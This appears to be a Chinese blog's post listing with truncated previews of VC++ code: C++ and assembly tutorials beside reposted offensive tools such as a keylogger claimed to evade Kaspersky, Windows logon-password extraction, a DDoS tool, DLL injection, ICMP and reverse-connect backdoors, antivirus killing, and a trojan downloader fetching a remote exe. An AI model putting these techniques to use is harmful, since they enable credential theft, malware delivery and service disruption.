- 博客(56)
- 资源 (3)
- 收藏
- 关注
原创 QT学习点滴记录(四)
网络TCP(一)一. 服务器端1. 新建一个QT Gui Application,工程名为"TCPServer", Base Class 选择QWidget, 并在工程文件TCPServer.pro中添加一句代码:QT += network2. 在widget.ui设计区添加一个Label, 更改其objectName为statusLabel, 用于显示一些状态信息 3.
2014-09-22 14:43:46 660 1
转载 VisualC++信息安全编程(5)获取windows登陆账户密码
indows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码 GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查找Use
2014-07-30 10:53:24 3023
转载 vc++网络安全编程范例(17)-open ssl 实现文件加密与解密
OpenSSL整个软件包大概可以分成三个主要的功能部分:密码算法库、SSL协议库以及应用程序。OpenSSL的目录结构自然也是围绕这三个功能部分进行规划的。 作为一个基于密码学的安全开发包,OpenSSL提供的功能相当强大和全面,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,并提供了丰富的应用程序供测试或其它目的使用。对称加密算法 OpenSSL一共提供了8种对称
2014-07-30 10:53:03 1171
转载 VisualC++信息安全编程(4)实现文件自我删除
文件自我删除是一个很有必要的功能,尤其在国家之间的网络战争。[cpp] view plaincopy#include "stdafx.h" #include //加入状态显示头文件. BOOL SelfDel1() { SHELLEXECUTEINFO sei; TCHAR szModule
2014-07-30 10:51:56 380
转载 VisualC++信息安全编程(6)穿透卡巴斯基的键盘记录编程-网络战技术
在国家之间的网络战争中,窃取密码是个很重要的事情。而密码往往是键盘输入的。利用原始设备输入变化RawInput 实现键盘记录,并穿透最牛的杀毒软件卡巴斯基。 引用外国人的原始设备输入变化的类。请柬代码与详细注解。 [cpp] view plaincopy#ifndef _RAWINPUT_H #define _R
2014-07-30 10:51:55 661
转载 VC++远程插入dll代码
#include #include#include "resource.h"void WriteResourceToFile(char const *filename){ HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance, MAKEI
2014-07-30 10:50:01 363
转载 VC++实现数据包过滤(防火墙原理)
#include "stdafx.h"#include "xpktfilter.h"#include "xpktfilterDlg.h"#include "./xpktfilterdlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif#pragma comment(lib,"iphlpapi.lib")// Cxpktf
2014-07-30 10:47:55 2943
转载 VC++实现多线程ddos
#include #include #include #pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void) // 定义状态提示函数 { static int
2014-07-30 10:47:15 379
转载 VC++多线程tcp connect扫描
#include #include#include #pragma comment(lib,"ws2_32.lib")char *host;int threadnum,maxthread,totalport;long nowport;TIMEVAL timeout;FD_SET mask;void usage(char *name){p
2014-07-30 10:47:01 573
转载 VC++实现SYN扫描
#include #include #include #include #include "mstcpip.h"#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839SOCKET sockRaw = INVALID_SOCKET,sockListen = INVALID_SOCKET;struct
2014-07-30 10:46:16 984
转载 vc++防止多次运行
#include#includeint main(int argc,char *argv[]){HANDLE hMutex;DWORD dwErr;hMutex=CreateMutex(NULL,//无安全描述FALSE,//没有所有者 "HACK");//对象名 if(hMutex==NULL)//hMutex为NULL标示创建失败{Mes
2014-07-30 10:45:46 334
转载 vc++实现文件传送
发送#include #include #pragma comment(lib, "ws2_32.lib")void main() {// 初始化 WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_ERROR )
2014-07-30 10:44:55 1060
转载 vc++实现文件关联
#include #include int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch=(char *)mallo
2014-07-30 10:43:56 331
转载 vc++实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序
客户端 #include #include #include #pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长度unsigned int vers
2014-07-30 10:41:46 400
转载 vc++HOOK API黑客外挂编程必知必会
#include // 定义API挂接项结构typedef struct _HOOK_ITEM { DWORD dwAddr ; // IAT项所在地址 DWORD dwOldValue ; // IAT项的原始函数地址 DWORD dwNewValue ; // IAT项的新函数地址} HOOK_ITEM, *PHOOK_ITEM ;HOOK_ITEM H
2014-07-30 10:41:14 758
转载 vc++进程注入钩子DLL通用模块开源
#include "stdafx.h"#include #include #include "stdio.h"#include using namespace std;#define DEF_BUF_SIZE 1024// 用于存储注入模块DLL的路径全名char szDllPath[DEF_BUF_SIZE] = {0} ;// 使用远程线程向
2014-07-30 10:39:55 1274
转载 vc++ 实现多线程断点续传
结合FTP类,http类,实现多线程断点续传 // DownloadMTR.cpp: implementation of the CDownloadMTR class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#
2014-07-30 10:39:21 1194
转载 VC++ 实现FTP下载的通用类
// DownloadFtp.cpp: implementation of the CDownloadFtp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "Downl
2014-07-30 10:38:08 1433
转载 利用debug钩子拦截全局钩子,经典反黑客技术
// 键盘钩子消息处理过程LRESULT CALLBACK DebugProc ( int nCode, WPARAM wParam, LPARAM lParam ){ if ( nCode == HC_ACTION ) { PDEBUGHOOKINFO pDebugHookInfo = (PDEBUGHOOKINFO)lParam ; switch ( wParam
2014-07-30 10:38:06 847
转载 vc++实现http下载的通用类
// DownloadHttp.cpp: implementation of the CDownloadHttp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "Dow
2014-07-30 10:36:55 473
转载 vc++反向连接后门
#include#include#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "/r/n======================== BackConnect BackDoor V0.1 ========================/r/n====
2014-07-30 10:35:18 372
转载 vc++telnet远程登录
#include #pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe
2014-07-30 10:33:37 829
转载 vc++实现注册表自启动,木马用的比较多
#include #include int main(void){char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);ret=RegSetVal
2014-07-30 10:29:16 444
转载 vc++抓取系统用户名
#include #include #include #pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DWORD ret;char usernam
2014-07-30 10:27:42 471
转载 VC++结束进程,干掉杀毒软件或者其他令人不爽的进程
void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("/nCreateToolh
2014-07-30 10:26:53 445
转载 vc++取得系统信息,并实时刷新
#include#includevoid GetSysInfo();DWORD GetOS() { OSVERSIONINFO os;os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&os); switch(os.dwPlatformId) { case VER_PLATFOR
2014-07-30 10:25:58 563
转载 vc++编写一个木马下载器,体积仅有0.3K
#include #pragma link "w32inet.lib"int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d://abc.exe",0,0); if(hRet==S_OK) { printf("Download OK!/n");}
2014-07-30 10:25:37 610
转载 从汇编的眼光看C++(之指针拷贝)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing @163.com】 指针是编程人员的梦魇,对C语言的开发者是如此,对C++的开发者也是如此。特别是在C++中,如果不注意处理类中的指针,非常容易出问题。如果朋友们不相信可以看看下面的代码:[cpp] view plaincopycl
2014-07-30 10:05:00 379
转载 从汇编的眼光看C++(之delete内存泄露)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing @163.com】 有过C语言编程的朋友大多知道,如果在malloc内存之后不及时free掉内存,那么很有可能会造成内存泄露的。那么在C++上面,是不是也存在这样的问题呢?结果是C++上面同样也存在内存泄露的危险。这个危险就是如果new后面不能delete的话,也会造成内存的泄露。还有不
2014-07-30 10:04:13 396
转载 用汇编的眼光看C++(之算术符重载陷阱)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing @163.com】 在算术符重载里面,“=”重载可能是最经常使用的一种。但是好多人就误以为在函数中,凡是类出现“=”的地方,那就是调用算术符重载,其实不然。为什么呢?我们可以看看下面的代码。首先,我们定义一个基本类:[cpp] view plaincopy
2014-07-30 10:03:25 307
转载 用汇编的眼光看C++(之缺省模板、特化模板)
缺省函数是C++的一个基本特色。缺省函数定义比较简单,也就是说,对于函数的某一个输入参数或者几个输入参数,如果你没有特定的数值的话,那我们就会用缺省的数据进行代替。如果你在调用的过程中使用了自己的数据,那么缺省数据将被我们自己定义的数据覆盖。下面就是一个缺省函数的示例:[cpp] view plaincopyint add(int m, i
2014-07-30 10:01:45 330
转载 从汇编的眼光看C++(之泛型编程)
泛型编程其实不难。本质上说,泛型编程就是让通用的算法应用到所有的数据类型。具体来说,int是我们熟悉的整数类型。那么一般情况下,如果我们写一个int整数的排序算法,应该怎么写呢?大家可以自己试试?下面的代码是我的一个范例;[cpp] view plaincopyvoid bubble_sort(int array[], int length)
2014-07-30 10:01:09 343
转载 从汇编的眼光看C++(之递归函数与模板类)
递归,相信有过基本C语言经验的朋友都明白,就是函数自己调用自己。所以,本质上说,它和普通的函数调用没有什么区别。今天之所以会把模板类和递归联系在一起,是因为我们可以用递归的方法实现模板的递归。闲话不多说,我们先从一个统计函数开始说起。[cpp] view plaincopyint process(int m) { int
2014-07-30 10:00:28 364
转载 用汇编的眼光看c++(之模板函数)
如果说模板类定义的是一种数据类型,那么模板函数定义的就是一种函数。既然是函数,那么就有输入数据和输出数据。和模板类的概念差不多,模板函数的初衷也是为了在函数操作上抽取共同的特性,屏蔽的是类型的不同和差异。我们可以通过下面一个简单的代码说明问题:[cpp] view plaincopyint int_compare(int a, int b)
2014-07-30 09:59:09 370
转载 用汇编的眼光看C++(之模板类)
如果类是一种确定的数据类型,那么模板就是一种对类的抽象。假设有这么一种类,它需要进行数据的计算,而且类型还很多,那么我们可能就要针对不同类型的数据定义不同的类。我们可以用下面一段代码说明问题:[cpp] view plaincopyclass int_process { int a; int b; publ
2014-07-30 09:58:28 346
转载 用汇编的眼光看C++(之缺省模板、特化模板)
缺省函数是C++的一个基本特色。缺省函数定义比较简单,也就是说,对于函数的某一个输入参数或者几个输入参数,如果你没有特定的数值的话,那我们就会用缺省的数据进行代替。如果你在调用的过程中使用了自己的数据,那么缺省数据将被我们自己定义的数据覆盖。下面就是一个缺省函数的示例:[cpp] view plaincopyint add(int m, i
2014-07-30 09:57:43 395
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人